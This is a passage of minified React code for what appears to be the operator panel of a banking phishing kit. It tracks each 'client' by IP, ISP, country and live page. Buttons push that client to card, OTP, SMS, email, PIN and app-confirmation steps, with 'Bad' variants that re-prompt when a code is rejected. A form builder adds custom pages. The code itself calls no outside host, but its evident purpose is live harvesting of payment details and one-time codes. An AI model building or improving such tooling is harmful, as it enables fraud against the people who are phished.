n=Date.parse(t);Number.isNaN(n)||(e=Math.max(0,Math.floor((Date.now()-n)/1e3)))}return e==null?"Never seen":e<5?"Just now":e<60?`${e}s ago`:e<3600?`${Math.floor(e/60)}m ago`:e<86400?`${Math.floor(e/3600)}h ago`:`${Math.floor(e/86400)}d ago`}function VN({presence:e,className:t}){return!e||e.loading?o.jsxs(Ot,{variant:"outline",className:je("text-xs gap-1",t),children:[o.jsx(H0,{className:"h-3 w-3 animate-pulse"}),"Checking…"]}):e.online?o.jsxs(Ot,{variant:"outline",className:je("text-xs gap-1.5 border-green-500/40 bg-green-500/10 text-green-700 dark:text-green-400",t),children:[o.jsxs("span",{className:"relative flex h-2 w-2",children:[o.jsx("span",{className:"absolute inline-flex h-full w-full animate-ping rounded-full bg-green-500 opacity-75"}),o.jsx("span",{className:"relative inline-flex h-2 w-2 rounded-full bg-green-500"})]}),"Online",e.last_page?o.jsxs("span",{className:"text-[10px] opacity-80 font-normal hidden sm:inline",children:["· ",e.last_page]}):null]}):o.jsxs(Ot,{variant:"secondary",className:je("text-xs gap-1",t),children:[o.jsx(pF,{className:"h-3 w-3"}),"Offline",o.jsxs("span",{className:"text-[10px] opacity-80 font-normal",children:["· ",_Y(e.seconds_since_seen,e.last_seen_at)]})]})}const Mf="h-11 flex flex-col items-center justify-center gap-1 text-center text-xs font-medium",Ff="px-2.5 py-1.5 bg-muted/40 rounded-md text-xs sm:text-sm font-mono border border-border/50";function kY({withClient:e}){return o.jsxs(is,{children:[o.jsx(Ee,{className:"h-10 w-56"}),e?o.jsxs(kn,{children:[o.jsx(Bn,{children:o.jsx(Ee,{className:"h-5 w-44"})}),o.jsx(Zn,{children:o.jsx("div",{className:"grid grid-cols-2 sm:grid-cols-3 gap-2",children:Array.from({length:6}).map((t,n)=>o.jsx(Ee,{className:"h-11 rounded-md"},n))})})]}):o.jsxs(kn,{children:[o.jsx(Bn,{children:o.jsx(Ee,{className:"h-5 w-32"})}),o.jsx(Zn,{children:o.jsx(Ee,{className:"h-9 w-full"})})]})]})}function BY(){const{id:e}=KR(),t=la(),{get:n,create:s,loading:i}=Qt(),{confirm:c}=Th(),[u,d]=C.useState(null),[,m]=C.useState({}),[h,p]=C.useState([]),[x,g]=C.useState(""),[y,w]=C.useState(""),[S,N]=C.useState(""),[T,E]=C.useState([]),[A,j]=C.useState([]),[R,D]=C.useState(!1),k=RY(e);C.useEffect(()=>{e?(B(),I(),z(),U()):(I(),U())},[e]);const B=async()=>{try{const M=await n(`/clients/unique/${e}`);d(M.data||M)}catch(M){wr("Failed to load client data"),console.error("Client load error:",M)}},I=async()=>{try{const M=[{title:"Payment",icon:d9,bad:{key:"badcard",icon:fs,label:"Bad Card",enabled:!0}},{title:"OTP Verification",icon:Jo,normal:{key:"otp",icon:Jo,label:"OTP",enabled:!0},bad:{key:"badotp",icon:fs,label:"Bad OTP",enabled:!0}},{title:"SMS Verification",icon:Jo,normal:{key:"sms",icon:Jo,label:"SMS",enabled:!0},bad:{key:"badsms",icon:fs,label:"Bad SMS",enabled:!0}},{title:"Email",icon:N4,normal:{key:"mail",icon:N4,label:"Mail",enabled:!0},bad:{key:"badmail",icon:fs,label:"Bad Mail",enabled:!0}},{title:"PIN Security",icon:Jo,normal:{key:"pin",icon:Jo,label:"PIN",enabled:!0},bad:{key:"badpin",icon:fs,label:"Bad PIN",enabled:!0}},{title:"Mobile App",icon:dl,normal:{key:"app",icon:dl,label:"App",enabled:!0},bad:{key:"badapp",icon:fs,label:"Bad App",enabled:!0}},{title:"Confirmation",icon:dl,normal:{key:"confirm",icon:wl,label:"Confirm",enabled:!0}},{title:"Ban Client",icon:dl,bad:{key:"ban",icon:fs,label:"Ban",enabled:!0}}];j(M);const O=M.flatMap(V=>{const Z=[];return V.normal&&Z.push(V.normal),V.bad&&Z.push(V.bad),Z});m({buttons:O.reduce((V,Z)=>(V[Z.key]=Z.enabled,V),{})})}catch(M){console.error("Error loading settings:",M),j([]),m({buttons:{}})}},z=async()=>{try{const M=await n(`/clients/unique/${e}/actions`);E(M.data||[])}catch(M){console.error("Recent actions load error:",M)}},U=async()=>{try{const M=await n("/custom-forms");console.log("🚀 ~ loadCustomForms ~ response:",M);let O=null;M?.data?O=M.data:Array.isArray(M)?O=M:M?.forms?O=M.forms:O=M,Array.isArray(O)&&O.length>0?p(O):p([])}catch(M){console.error("❌ Custom forms load error:",M),p([]),console.log("⚠️ Custom forms set to empty due to error")}},$=M=>{M.preventDefault(),y.trim()?t(`/panel/actions/${y.trim()}`):wr("Please enter a valid unique ID")},H=async M=>{if(!e){wr("Please select a client first");return}const O=M.startsWith("bad")||M.includes("bad"),V=M.replace(/([A-Z])/g," $1").replace(/^./,q=>q.toUpperCase()).replace("_"," "),Z=O?`Execute ${V} Action?`:`Execute ${V} Action?`,ce=O?`Are you sure you want to execute "${V}" for client ${u?.unique_id}? This may trigger error handling or blocking mechanisms.`:`Are you sure you want to execute "${V}" for client ${u?.unique_id}?`,F=O?"Execute Action":"Execute",P=O?"destructive":"default";try{if(!await c(Z,ce,{confirmText:F,cancelText:"Cancel",variant:P}))return;N(M),await s(`/clients/unique/${e}/actions`,{action_type:M}),bl(`${V} action executed successfully`),z()}catch(q){Tl(q)||wr(`Failed to execute ${V} action: ${q.message||"Unknown error"}`)}finally{N("")}},W=async M=>{try{await navigator.clipboard.writeText(M),g(M),bl("Copied to clipboard"),setTimeout(()=>g(""),2e3)}catch{wr("Failed to copy to clipboard")}},se=async M=>{if(!u)return;const O=u.ban===1,V=O?"unban":"ban",Z=O?"Unban":"Ban",ce=`${Z} Client ${u.unique_id}?`,F=O?`This will restore access for client ${u.unique_id}. They will be able to use the system normally again.`:`This will immediately block access for client ${u.unique_id}. They will not be able to use the system until unbanned.`;try{if(!await c(ce,F,{confirmText:`${Z} Client`,cancelText:"Cancel",variant:O?"default":"destructive"}))return;D(!0),await s(`/clients/${M}/ban`),await B(),bl(`Client ${u.unique_id} has been ${O?"unbanned":"banned"} successfully. ${O?"Access restored.":"Access blocked."}`)}catch(P){console.error("Error toggling ban status:",P),Tl(P)||wr(`Failed to ${V} client ${u.unique_id}: ${P.message||"Please try again"}`)}finally{D(!1)}};return e&&!u&&i?o.jsx(kY,{withClient:!0}):o.jsxs(is,{children:[o.jsx(yo,{title:"Client Actions",description:e&&u?o.jsxs(o.Fragment,{children:["Manage actions for ",o.jsx("span",{className:"font-mono font-medium text-foreground",children:u.unique_id})]}):"Enter a client unique ID to manage actions",icon:mu,badge:e&&u?o.jsxs("div",{className:"flex flex-wrap items-center gap-1.5",children:[o.jsx(VN,{presence:k}),o.jsxs(Ot,{variant:u.ban?"destructive":"default",className:"text-xs px-2 py-0.5",children:[o.jsx(H0,{className:"h-3 w-3 mr-1"}),u.ban?"Banned":"Active"]})]}):null}),!e&&o.jsxs(kn,{children:[o.jsxs(Bn,{children:[o.jsx(ia,{icon:vj,children:"Select Client"}),o.jsx(Hs,{children:"Enter the unique ID of the client you want to manage"})]}),o.jsx(Zn,{children:o.jsxs("form",{onSubmit:$,className:"flex flex-col gap-2 sm:flex-row sm:items-end",children:[o.jsxs("div",{className:"flex-1 min-w-0",children:[o.jsx(Je,{htmlFor:"unique_id",className:"sr-only",children:"Unique ID"}),o.jsx(qt,{id:"unique_id",type:"text",placeholder:"Enter client unique ID",value:y,onChange:M=>w(M.target.value),className:"h-9 text-sm",required:!0})]}),o.jsxs(De,{type:"submit",size:"sm",className:"w-full sm:w-auto shrink-0",children:[o.jsx(mu,{className:"mr-1.5 h-4 w-4"}),"Load Client"]})]})})]}),e&&o.jsxs(kn,{children:[o.jsxs(Bn,{children:[o.jsx(ia,{icon:Cl,children:"Available Actions"}),o.jsx(Hs,{children:"Normal and error variants for this client"})]}),o.jsx(Zn,{spaced:!0,children:o.jsxs("div",{className:"space-y-4",children:[Array.isArray(h)&&h.length>0&&o.jsx(o.Fragment,{children:h.filter(M=>M?.is_active).map(M=>o.jsxs("div",{className:"space-y-2",children:[o.jsx("p",{className:"text-xs font-medium text-muted-foreground uppercase tracking-wide",children:M.title||"Custom Form"}),o.jsxs("div",{className:"grid grid-cols-2 gap-2",children:[o.jsxs(De,{variant:"outline",className:je(Mf,"hover:bg-muted/50 bg-transparent"),onClick:()=>H(`custom_${M.id}`),disabled:S===`custom_${M.id}`,children:[S===`custom_${M.id}`?o.jsx(jn,{className:"h-4 w-4 animate-spin"}):o.jsx(gj,{className:"h-4 w-4"}),o.jsx("span",{className:"text-xs font-medium leading-tight",children:M.title})]}),o.jsxs(De,{variant:"destructive",className:je(Mf,"border-destructive/20 hover:bg-destructive/10"),onClick:()=>H(`badcustom_${M.id}`),disabled:S===`badcustom_${M.id}`,children:[S===`badcustom_${M.id}`?o.jsx(jn,{className:"h-4 w-4 animate-spin"}):o.jsx(fs,{className:"h-4 w-4"}),o.jsxs("span",{className:"text-xs font-medium leading-tight",children:["Bad ",M.title]})]})]})]},`custom-${M.id}`))}),Array.isArray(A)&&A.length>0&&A.map(M=>{if(!M)return null;const O=M.normal?.enabled,V=M.bad?.enabled;if(!(O||V))return null;const F=(O?1:0)+(V?1:0)===1?"grid grid-cols-1 gap-3":"grid grid-cols-1 sm:grid-cols-2 gap-3";return o.jsxs("div",{className:"space-y-2",children:[o.jsx("p",{className:"text-xs font-medium text-muted-foreground uppercase tracking-wide",children:M.title}),o.jsxs("div",{className:F.replace("gap-3","gap-2"),children:[O&&o.jsxs(De,{variant:"outline",className:je(Mf,"hover:bg-muted/50 bg-transparent"),onClick:()=>H(M.normal.key),disabled:S===M.normal.key,children:[S===M.normal.key?o.jsx(jn,{className:"h-4 w-4 animate-spin"}):o.jsx(M.normal.icon,{className:"h-4 w-4"}),o.jsx("span",{className:"text-xs font-medium leading-tight",children:M.normal.label})]}),V&&o.jsxs(De,{variant:"destructive",className:je(Mf,"border-destructive/20 hover:bg-destructive/10"),onClick:()=>H(M.bad.key),disabled:S===M.bad.key,children:[S===M.bad.key?o.jsx(jn,{className:"h-4 w-4 animate-spin"}):o.jsx(fs,{className:"h-4 w-4"}),o.jsx("span",{className:"text-xs font-medium leading-tight",children:M.bad.label})]})]})]},M.title)}),Array.isArray(A)&&A.every(M=>!M||!M.normal?.enabled&&!M.bad?.enabled)&&Array.isArray(h)&&h.filter(M=>M?.is_active).length===0&&o.jsxs("div",{className:"text-center py-8",children:[o.jsx(hu,{className:"h-8 w-8 text-muted-foreground mx-auto mb-2"}),o.jsx("p",{className:"text-sm font-medium mb-1",children:"No Actions Available"}),o.jsx("p",{className:"text-xs text-muted-foreground",children:"No action buttons are currently enabled in the configuration."})]})]})})]}),e&&u&&o.jsxs(kn,{children:[o.jsx(Bn,{children:o.jsx(ia,{icon:A9,children:"Client Information"})}),o.jsx(Zn,{children:o.jsxs("div",{className:"grid grid-cols-1 sm:grid-cols-2 lg:grid-cols-4 gap-3",children:[o.jsxs("div",{className:"space-y-1.5 min-w-0 sm:col-span-2 lg:col-span-1",children:[o.jsx(Je,{className:"text-xs text-muted-foreground",children:"Status"}),o.jsxs("div",{className:"flex flex-wrap items-center gap-2",children:[o.jsx(VN,{presence:k}),k.last_page&&!k.loading?o.jsx("span",{className:"text-xs text-muted-foreground font-mono truncate max-w-[200px]",children:k.last_page}):null]})]}),o.jsxs("div",{className:"space-y-1.5 min-w-0",children:[o.jsx(Je,{className:"text-xs text-muted-foreground",children:"Unique ID"}),o.jsxs("div",{className:"flex items-center gap-1.5",children:[o.jsx("code",{className:je(Ff,"truncate flex-1"),children:u.unique_id}),o.jsx(De,{variant:"ghost",size:"sm",onClick:()=>W(u.unique_id),className:"h-8 w-8 p-0 hover:bg-muted/80",children:x===u.unique_id?o.jsx(wl,{className:"h-3.5 w-3.5 text-green-500"}):o.jsx(Cg,{className:"h-3.5 w-3.5"})})]}),o.jsxs("div",{className:"flex flex-wrap items-center gap-2 pt-1",children:[o.jsxs(De,{variant:u.ban===1?"outline":"destructive",size:"sm",onClick:()=>se(u.unique_id),disabled:R,className:"h-8 text-xs",children:[R?o.jsx(jn,{className:"h-3 w-3 animate-spin mr-1"}):o.jsx(V7,{className:"h-3 w-3 mr-1"}),u.ban===1?"Unban":"Ban"]}),o.jsx(Ot,{variant:u.ban===1?"destructive":"secondary",className:"text-[10px]",children:u.ban===1?"Banned":"Active"})]})]}),o.jsxs("div",{className:"space-y-1.5 min-w-0",children:[o.jsx(Je,{className:"text-xs text-muted-foreground",children:"IP Address"}),o.jsxs("div",{className:"flex items-center gap-1.5",children:[o.jsx("code",{className:Ff,children:u.ip||"N/A"}),u.ip&&o.jsx(De,{variant:"ghost",size:"sm",onClick:()=>W(u.ip),className:"h-8 w-8 p-0 hover:bg-muted/80",children:x===u.ip?o.jsx(wl,{className:"h-3.5 w-3.5 text-green-500"}):o.jsx(Cg,{className:"h-3.5 w-3.5"})})]})]}),o.jsxs("div",{className:"space-y-1.5",children:[o.jsx(Je,{className:"text-xs text-muted-foreground",children:"Country"}),o.jsx("p",{className:Ff,children:u.country_code||"Unknown"})]}),o.jsxs("div",{className:"space-y-1.5 min-w-0",children:[o.jsx(Je,{className:"text-xs text-muted-foreground",children:"ISP"}),o.jsx("p",{className:je(Ff,"truncate"),children:u.isp||"Unknown"})]})]})})]}),e&&T.length>0&&o.jsxs(kn,{children:[o.jsxs(Bn,{children:[o.jsx(ia,{icon:fu,children:"Recent Actions"}),o.jsx(Hs,{children:"Latest actions for this client"})]}),o.jsx("div",{className:je(Cu,"space-y-1.5"),children:T.slice(0,5).map((M,O)=>o.jsxs("div",{className:"flex items-center justify-between gap-2 p-2 sm:p-2.5 rounded-lg border border-border/50 bg-background/60",children:[o.jsxs("div",{className:"flex items-center gap-3",children:[o.jsx("div",{className:`p-2 rounded-full ${M.action_type.startsWith("bad")?"bg-destructive/10 text-destructive":"bg-primary/10 text-primary"}`,children:M.action_type.startsWith("bad")?o.jsx(fs,{className:"h-3 w-3"}):o.jsx(fu,{className:"h-3 w-3"})}),o.jsxs("div",{children:[o.jsx("p",{className:"font-medium text-sm",children:M.action_type.charAt(0).toUpperCase()+M.action_type.slice(1)}),o.jsx("p",{className:"text-xs text-muted-foreground",children:new Date(M.created_at).toLocaleString()})]})]}),o.jsx(Ot,{variant:M.action_type.startsWith("bad")?"destructive":"default",className:"text-xs",children:M.status||"Completed"})]},O))})]}),e&&!u&&!i&&o.jsxs(io,{className:"border-destructive/20 bg-destructive/5",children:[o.jsx(hu,{className:"h-4 w-4 text-destructive"}),o.jsxs(oo,{className:"text-destructive",children:['Client with ID "',e,'" not found. Please check the unique ID and try again.']})]})]})}function UN(){return o.jsx(o.Fragment,{children:o.jsx(BY,{})})}const Ze=e=>e==null?"":typeof e=="string"?e:typeof e=="number"?String(e):typeof e=="object"?e.title&&typeof e.title=="string"?e.title:e.description&&typeof e.description=="string"?e.description:JSON.stringify(e):String(e),Of=[{value:"heading",label:"Heading",icon:S9},{value:"paragraph",label:"Paragraph",icon:gj},{value:"input",label:"Text Input",icon:uF},{value:"select",label:"Select Dropdown",icon:wh},{value:"checkbox",label:"Checkbox",icon:sF},{value:"button",label:"Button",icon:H9}];function MY(){const e=Qt(),{success:t,error:n,errorUnlessNotified:s}=yi(),{confirmDelete:i}=Th(),[c,u]=C.useState("list"),[d,m]=C.useState({title:"",description:"",settings:{}}),[h,p]=C.useState([]),[x,g]=C.useState(null),[y,w]=C.useState(null),[S,N]=C.useState([]),[T,E]=C.useState(!1),[A,j]=C.useState(!1);C.useEffect(()=>{c==="list"&&R()},[c]);const R=async()=>{try{E(!0);const V=((await e.get("/custom-forms")).data||[]).map(Z=>({...Z,title:Ze(Z.title),description:Ze(Z.description||"")}));N(V)}catch(O){s(O,"Failed to load forms")}finally{E(!1)}},D=(O,V)=>{m(Z=>({...Z,[O]:V}))},k=O=>{const V={id:Date.now(),type:O,label:"",name:"",content:"",options:[],validation:[],required:!1,placeholder:"",order:h.length,buttonText:O==="button"?"Click Me":"",buttonVariant:O==="button"?"default":""};p([...h,V]),g(V)},B=(O,V)=>{p(h.map(Z=>Z.id===O?{...Z,...V}:Z)),x?.id===O&&g({...x,...V})},I=O=>{p(h.filter(V=>V.id!==O)),x?.id===O&&g(null)},z=(O,V)=>{const Z=h.findIndex(q=>q.id===O);if(V==="up"&&Z===0||V==="down"&&Z===h.length-1)return;const ce=[...h],F=V==="up"?Z-1:Z+1,P=ce[Z];ce[Z]=ce[F],ce[F]=P,ce.forEach((q,Y)=>{q.order=Y}),p(ce)},U=async()=>{if(!d.title.trim()){n("Form title is required");return}if(h.length===0){n("At least one field is required");return}try{j(!0);const O={...d,fields:h.map(V=>({type:V.type,label:V.label,name:V.name,content:V.content,options:V.options,validation:V.validation,required:V.required,placeholder:V.placeholder,order:V.order,buttonText:V.buttonText,buttonVariant:V.buttonVariant}))};y?(await e.update(`/custom-forms/${y}`,O),t("Form updated successfully")):(await e.create("/custom-forms",O),t("Form created successfully")),u("list"),R()}catch(O){console.error(`Failed to ${y?"update":"create"} form:`,O);let V=`Failed to ${y?"update":"create"} form`;O&&typeof O=="object"&&(O.message?V=Ze(O.message):O.response?.data?.message?V=Ze(O.response.data.message):O.response?.data?.error&&(V=Ze(O.response.data.error))),s(O,V)}finally{j(!1)}},$=()=>{m({title:"",description:"",settings:{}}),p([]),g(null),w(null),u("builder")},H=O=>{m({title:Ze(O.title),description:Ze(O.description||""),settings:O.settings||{}});const V=(O.fields||[]).map((Z,ce)=>({...Z,id:Z.id||Date.now()+ce,order:Z.order!==void 0?Z.order:ce,label:Ze(Z.label||""),name:Ze(Z.name||""),content:Ze(Z.content||""),placeholder:Ze(Z.placeholder||""),buttonText:Ze(Z.buttonText||""),type:Ze(Z.type||"")}));p(V),g(null),w(O.id),u("builder")},W=async O=>{if(await i("Delete Form","Are you sure you want to delete this form? This action cannot be undone."))try{await e.delete(`/custom-forms/${O}`),t("Form deleted successfully"),R()}catch(Z){s(Z,"Failed to delete form")}},se=O=>{switch(O.type){case"heading":return o.jsx("h3",{className:"text-lg font-semibold text-foreground",children:Ze(O.content||"Heading Text")});case"paragraph":return o.jsx("p",{className:"text-sm text-muted-foreground",children:Ze(O.content||"Paragraph text content")});case"input":return o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-foreground",children:Ze(O.label||"Input Label")}),o.jsx(qt,{placeholder:Ze(O.placeholder||"Enter text..."),disabled:!0,className:"bg-background"})]});case"select":return o.jsxs("div",{className:"space-y-2",children:[o.jsx(Je,{className:"text-foreground",children:Ze(O.label||"Select Label")}),o.jsx(dv,{disabled:!0,children:o.jsx(oh,{className:"bg-background",children:o.jsx(fv,{placeholder:"Choose an option..."})})})]});case"checkbox":return o.jsxs("div",{className:"flex items-center space-x-2",children:[o.jsx("input",{type:"checkbox",disabled:!0,className:"rounded border-border"}),o.jsx(Je,{className:"text-foreground",children:Ze(O.label||"Checkbox Label")})]});case"button":return o.jsx(De,{variant:O.buttonVariant||"default",disabled:!0,className:"w-auto",children:Ze(O.buttonText||"Button Text")});default:return o.jsx("div",{className:"text-muted-foreground",children:"Unknown field type"})}},M=O=>new Date(O).toLocaleDateString("en-US",{year:"numeric",month:"short",day:"numeric"});return T?o.jsx("div",{className:"container mx-auto p-4 sm:p-6",children:o.jsxs("div",{className:"animate-pulse space-y-4",children:[o.jsx("div",{className:"h-8 bg-muted rounded w-1/4"}),o.jsx("div",{className:"h-64 bg-muted rounded"})]})}):o.jsxs(is,{children:[o.jsx(yo,{title:"Custom Forms",description:"Manage your custom forms and create new ones",icon:S4}),o.jsxs(Oh,{value:c,onValueChange:u,className:"w-full",children:[o.jsxs(Ku,{className:"grid w-full grid-cols-2 mb-4 sm:mb-6 h-auto",children:[o.jsxs(vs,{value:"list",className:"flex items-center gap-1 sm:gap-2 text-xs sm:text-sm py-2 sm:py-3",children:[o.jsx(S4,{className:"h-3 w-3 sm:h-4 sm:w-4"}),o.jsx("span",{className:"hidden xs:inline",children:"All Forms"}),o.jsx("span",{className:"xs:hidden",children:"Forms"})]}),o.jsxs(vs,{value:"builder",className:"flex items-center gap-1 sm:gap-2 text-xs sm:text-sm py-2 sm:py-3",children:[o.jsx(Cl,{className:"h-3 w-3 sm:h-4 sm:w-4"}),o.jsx("span",{className:"hidden xs:inline",children:"Form Builder"}),o.jsx("span",{className:"xs:hidden",children:"Builder"})]})]}),o.jsxs(ys,{value:"list",className:"space-y-4 sm:space-y-6",children:[o.jsxs("div",{className:"flex flex-col xs:flex-row justify-between items-start xs:items-center gap-3 xs:gap-0",children:[o.jsxs("div",{children:[o.jsx("h2",{className:"text-lg sm:text-xl font-semibold text-foreground",children:"All Forms"}),o.jsxs("p",{className:"text-sm text-muted-foreground",children:[S.length," form",S.length!==1?"s":""," total"]})]}),o.jsxs(De,{onClick:$,className:"w-full xs:w-auto text-sm",children:[o.jsx(li,{className:"h-4 w-4 mr-2"}),o.jsx("span",{className:"hidden sm:inline",children:"Create Form"}),o.jsx("span",{className:"sm:hidden",children:"Create"})]})]}),o.jsx($t,{className:On,children:o.jsx(Gt,{className:"p-0",children:S.length===0?o.jsxs("div",{className:"text-center py-8 sm:py-12 text-muted-foreground px-4",children:[o.jsx(Cl,{className:"h-12 w-12 sm:h-16 sm:w-16 mx-auto mb-4 opacity-50"}),o.jsx("h3",{className:"text-base sm:text-lg font-medium mb-2 text-foreground",children:"No forms created yet"}),o.jsx("p",{className:"mb-4 text-sm",children:"Create your first custom form to get started"}),o.jsxs(De,{onClick:$,className:"text-sm",children:[o.jsx(li,{className:"h-4 w-4 mr-2"}),"Create Your First Form"]})]}):o.jsxs("div",{className:"overflow-x-auto",children:[o.jsx("div",{className:"block sm:hidden space-y-3",children:S.map(O=>o.jsx($t,{className:"bg-card border-border",children:o.jsxs(Gt,{className:"p-4",children:[o.jsxs("div",{className:"flex justify-between items-start mb-3",children:[o.jsxs("div",{className:"flex-1 min-w-0",children:[o.jsx("h3",{className:"font-medium text-foreground truncate",children:Ze(O.title)}),o.jsx("p",{className:"text-sm text-muted-foreground truncate mt-1",children:Ze(O.description)||"No description"})]}),o.jsxs("div",{className:"flex gap-1 ml-2",children:[o.jsx(De,{variant:"ghost",size:"sm",onClick:()=>H(O),className:"h-8 w-8 p-0 hover:bg-accent",children:o.jsx(E4,{className:"h-4 w-4"})}),o.jsx(De,{variant:"ghost",size:"sm",onClick:()=>W(O.id),className:"h-8 w-8 p-0 text-red-600 hover:text-red-500 hover:bg-red-50 dark:hover:bg-red-950",children:o.jsx(Fa,{className:"h-4 w-4"})})]})]}),o.jsxs("div",{className:"flex flex-wrap gap-2 text-xs",children:[o.jsxs(Ot,{variant:"outline",children:[O.fields?.length||0," fields"]}),o.jsx(Ot,{variant:O.is_active?"default":"secondary",children:O.is_active?"Active":"Inactive"}),o.jsxs("span",{className:"text-muted-foreground flex items-center gap-1",children:[o.jsx(w4,{className:"h-3 w-3"}),new Date(O.created_at).toLocaleDateString()]})]})]})},O.id))}),o.jsx("div",{className:"hidden sm:block",children:o.jsxs(Xu,{className:"min-w-full",children:[o.jsx(Wu,{children:o.jsxs($s,{children:[o.jsx(Nt,{className:"px-4 py-3 text-left text-xs font-medium text-muted-foreground uppercase tracking-wider",children:"Title"}),o.jsx(Nt,{className:"hidden md:table-cell px-4 py-3 text-left text-xs font-medium text-muted-foreground uppercase tracking-wider",children:"Description"}),o.jsx(Nt,{className:"px-4 py-3 text-left text-xs font-medium text-muted-foreground uppercase tracking-wider",children:"Fields"}),o.jsx(Nt,{className:"hidden lg:table-cell px-4 py-3 text-left text-xs font-medium text-muted-foreground uppercase tracking-wider",children:"Created"}),o.jsx(Nt,{className:"px-4 py-3 text-left text-xs font-medium text-muted-foreground uppercase tracking-wider",children:"Status"}),o.jsx(Nt,{className:"px-4 py-3 text-right text-xs font-medium text-muted-foreground uppercase tracking-wider",children:"Actions"})]})}),o.jsx(Qu,{children:S.map(O=>o.jsxs($s,{className:"hover:bg-muted/50",children:[o.jsxs(wt,{className:"px-4 py-4",children:[o.jsx("div",{className:"text-sm font-medium text-foreground max-w-[200px] truncate",children:Ze(O.title)}),o.jsx("div",{className:"md:hidden text-xs text-muted-foreground mt-1 max-w-[200px] truncate",children:Ze(O.description)||"No description"})]}),o.jsx(wt,{className:"hidden md:table-cell px-4 py-4",children:o.jsx("div",{className:"text-sm text-muted-foreground max-w-[250px] truncate",children:Ze(O.description)||"No description"})}),o.jsx(wt,{className:"px-4 py-4",children:o.jsx(Ot,{variant:"outline",className:"text-xs",children:O.fields?.length||0})}),o.jsx(wt,{className:"hidden lg:table-cell px-4 py-4 text-sm text-muted-foreground",children:o.jsxs("div",{className:"flex items-center gap-1",children:[o.jsx(w4,{className:"h-3 w-3"}),M(O.created_at)]})}),o.jsxs(wt,{className:"px-4 py-4",children:[o.jsx(Ot,{variant:O.is_active?"default":"secondary",className:"text-xs",children:O.is_active?"Active":"Inactive"}),o.jsx("div",{className:"lg:hidden text-xs text-muted-foreground mt-1",children:new Date(O.created_at).toLocaleDateString()})]}),o.jsx(wt,{className:"px-4 py-4 text-right",children:o.jsxs("div",{className:"flex items-center justify-end gap-1",children:[o.jsx(De,{variant:"ghost",size:"sm",onClick:()=>H(O),className:"h-8 w-8 p-0 hover:bg-accent",children:o.jsx(E4,{className:"h-4 w-4"})}),o.jsx(De,{variant:"ghost",size:"sm",onClick:()=>W(O.id),className:"h-8 w-8 p-0 text-red-600 hover:text-red-500 hover:bg-red-50 dark:hover:bg-red-950",children:o.jsx(Fa,{className:"h-4 w-4"})})]})})]},O.id))})]})})]})})})]}),o.jsxs(ys,{value:"builder",className:"space-y-4 sm:space-y-6",children:[o.jsxs("div",{className:"flex flex-col sm:flex-row justify-between items-start sm:items-center gap-3 sm:gap-0",children:[o.jsxs("div",{className:"flex-1 min-w-0",children:[o.jsx("h2",{className:"text-lg sm:text-xl font-semibold text-foreground truncate",children:y?`Editing: ${Ze(d.title)}`:"Create New Form"}),o.jsx("p",{className:"text-sm text-muted-foreground",children:d.title?"Modify your custom form":"Build a custom form for your application"})]}),o.jsxs("div",{className:"flex gap-2 w-full sm:w-auto",children:[o.jsx(De,{variant:"outline",onClick:()=>u("list"),className:"flex-1 sm:flex-none text-sm",children:"Cancel"}),o.jsx(De,{onClick:U,disabled:A,className:"flex-1 sm:flex-none text-sm",children:A?o.jsxs(o.Fragment,{children:[o.jsx(h9,{className:"h-4 w-4 mr-2 animate-spin"}),o.jsx("span",{className:"hidden sm:inline",children:"Saving..."}),o.jsx("span",{className:"sm:hidden",children:"Save"})]}):o.jsxs(o.Fragment,{children:[o.jsx(Uv,{className:"h-4 w-4 mr-2"}),o.jsxs("span",{className:"hidden sm:inline",children:[y?"Update":"Create"," Form"]}),o.jsx("span",{className:"sm:hidden",children:y?"Update":"Create"})]})})]})]}),o.jsxs("div",{className:"grid grid-cols-1 lg:grid-cols-3 gap-4 sm:gap-6",children:[o.jsxs("div",{className:"lg:col-span-1 space-y-4",children:[o.jsxs($t,{className:On,children:[o.jsx(Ln,{children:o.jsx(Pa,{className:"text-base sm:text-lg font-semibold mb-4 text-foreground",children:"Form Settings"})}),o.jsx(Gt,{className:"p-4 sm:p-6",children:o.jsxs("div",{className:"space-y-4",children:[o.jsxs("div",{children:[o.jsx(Je,{htmlFor:"form-title",className:"text-sm font-medium text-foreground",children:"Form Title *"}),o.jsx(qt,{id:"form-title",value:Ze(d.title),onChange:O=>D("title",O.target.value),placeholder:"Enter form title...",className:"mt-1"})]}),o.jsxs("div",{children:[o.jsx(Je,{htmlFor:"form-description",className:"text-sm font-medium text-foreground",children:"Description"}),o.jsx(iu,{id:"form-description",value:Ze(d.description),onChange:O=>D("description",O.target.value),placeholder:"Enter form description...",className:"mt-1"})]})]})})]}),o.jsxs($t,{className:On,children:[o.jsx(Ln,{children:o.jsx(Pa,{className:"text-base sm:text-lg font-semibold mb-4 text-foreground",children:"Add Fields"})}),o.jsx(Gt,{className:"p-4 sm:p-6",children:o.jsx("div",{className:"grid grid-cols-1 gap-2",children:Of.map(O=>{const V=O.icon;return o.jsxs(De,{variant:"outline",onClick:()=>k(O.value),className:"justify-start h-auto p-3 text-left hover:bg-accent",children:[o.jsx(V,{className:"h-4 w-4 mr-3 flex-shrink-0"}),o.jsx("span",{className:"text-sm",children:Ze(O.label)})]},O.value)})})})]})]}),o.jsxs("div",{className:"lg:col-span-2 space-y-4",children:[o.jsxs($t,{className:On,children:[o.jsxs(Ln,{children:[o.jsx(Pa,{className:"text-base sm:text-lg font-semibold mb-4 text-foreground",children:"Form Preview"}),o.jsxs(Ot,{variant:"outline",className:"text-xs",children:[h.length," field",h.length!==1?"s":""]})]}),o.jsxs(Gt,{className:"p-4 sm:p-6",children:[d.title&&o.jsxs("div",{className:"mb-6 pb-4 border-b border-border",children:[o.jsx("h2",{className:"text-xl font-bold text-foreground",children:Ze(d.title)}),d.description&&o.jsx("p",{className:"text-muted-foreground mt-2",children:Ze(d.description)})]}),o.jsx("div",{className:"space-y-4",children:h.length===0?o.jsxs("div",{className:"text-center py-8 text-muted-foreground",children:[o.jsx(Cl,{className:"h-12 w-12 mx-auto mb-4 opacity-50"}),o.jsx("p",{className:"text-sm",children:"No fields added yet. Add fields from the left panel to get started."})]}):h.map((O,V)=>o.jsxs("div",{className:`p-3 rounded-lg border transition-colors ${x?.id===O.id?"border-primary bg-primary/5":"border-border bg-background hover:bg-accent/50"}`,onClick:()=>g(O),children:[o.jsxs("div",{className:"flex justify-between items-start mb-2",children:[o.jsxs("div",{className:"flex items-center gap-2",children:[o.jsxs("span",{className:"text-xs 